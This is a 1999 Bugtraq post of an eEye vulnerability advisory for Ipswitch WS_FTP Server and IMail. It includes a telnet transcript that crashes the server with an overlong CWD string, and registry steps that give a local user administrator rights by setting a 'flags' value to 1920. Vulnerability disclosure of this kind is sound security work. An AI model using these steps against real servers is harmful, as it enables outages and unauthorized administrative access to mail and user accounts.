From marc@EEYE.COM Thu Feb 25 09:54:29 1999
From: Marc <marc@EEYE.COM>
To: BUGTRAQ@netspace.org
Date: Tue, 2 Feb 1999 13:09:21 -0800
Subject: WS FTP Server Advisory

    [The following text is in the "iso-8859-1" character set]
    [Your display is set for the "US-ASCII" character set]
    [Some characters may be displayed incorrectly]

________________________________________________________________________

eEye Digital Security Team <e>
www.eEye.com
info@eEye.com
February 02, 1999
________________________________________________________________________

WS_FTP Server Remote DoS Attack

Systems Affected
WS_FTP Server Version 1.0.1.E/1.0.2.E

Release Date
February 02, 1999

Advisory Code
AD02021999
________________________________________________________________________

Description:
________________________________________________________________________

While running Retina against more server applications we found WS_FTP
Server to stop responding to our scans. The following is our findings.

WS_FTP Server can not handle a cwd command with a string longer then 876
characters appended to it.

telnet server.com 21
220-SERV X2 WS_FTP Server 1.0.2.EVAL (728964122)
220-Sat Jan 30 15:25:10 1999
220-30 days remaining on evaluation.
220 SERV X2 WS_FTP Server 1.0.2.EVAL (728964122)
user ftp
331 Password required
pass ftp
230 user logged in
cwd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
Connection to host lost.

The iFtpSvc.exe (Server Exe) process has now exited and therefore the
WS_FTP Server will no longer respond. There is no error displayed on
screen nor is the event log written to. The smallest amount of characters
needed it 876. So sending "cwd b" where b > 875 will crash the remote
server.

Also, WS_FTP Server and IMail do not store user database information
"securely." Some might think the following is not a hole nor a problem. I
guess it depends on how much security matters.

WS_FTP Server and IMail (IPSwitch.com) both store user information in
the registry insecurely making it easy for a local attack in which any
user can gain IMail / WS_FTP Server administrator permissions. We will
take a look at the IMail registry settings. WS_FTP Server works in the
same basic manor.

Each user profile is stored in the following key.
HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\HASTE\Users\Marc
Where Marc is the name of the user account and HASTE is the name of the
machine. The security permissions on the key are:
Query Value
Set Value
Create Subkey
Enumerate Subkeys
Notify
Delete
Read Control

There is a section in the key called "flags." This is the section that
holds the rights of the user. When the key is set to "1920" you will have
Administrator Access to IMail. So to sum it all up we do the following.
We change the flags key to equal 1920 and then we use the IMail Web
Administration Interface to do anything to any IMail user. I.E. Create
accounts, delete accounts, etc..

The reason we said this might not matter to some people is because it
is a local attack. When we tried to talk to IPSwitch about the problem
they did not seem to care about it much saying that "If someone has local
access they can do a lot more then just play with IMail." This is true.
However, what if we do not want to do more and we simply want to read
someone's eMail? or create an account on the system etc.. So yes people
could do a lot worse things to the system if they have local access but,
NT is growing closer and closer to the point were we will have a standard
"unix like way" to access NT systems remotely as if we are sitting at the
console. Vendors need to start looking at how their server programs stand
up to local attacks. As most know, NT server applications do not even
understand what local security is. This last part has turned into a bit
of a rant but we think its something vendors need to address. The day
will come and they are not prepared for it.
________________________________________________________________________

Vendor Status
________________________________________________________________________

We contacted IPSWITCH and after been given the run around we finally were
told, a day later, that they have had a version with this hole fixed but
have not released it yet. We asked for a URL or some way for users to get
the new update/patch and were given no answer. So now almost a week and a
half later we have given up on them. If you would like a patch or
information on how to fix this hole we suggest contacting IPSwitch.
________________________________________________________________________

Copyright (c) 1999 eEye Digital Security Team
________________________________________________________________________

Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent
of eEye. If you wish to reprint the whole or any part of this alert in
any other medium excluding electronic medium, please e-mail
alert@eEye.com for permission.
________________________________________________________________________

Disclaimer:
________________________________________________________________________

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.

Please send suggestions, updates, and comments to:
eEye Digital Security Team
http://www.eEye.com
info@eEye.com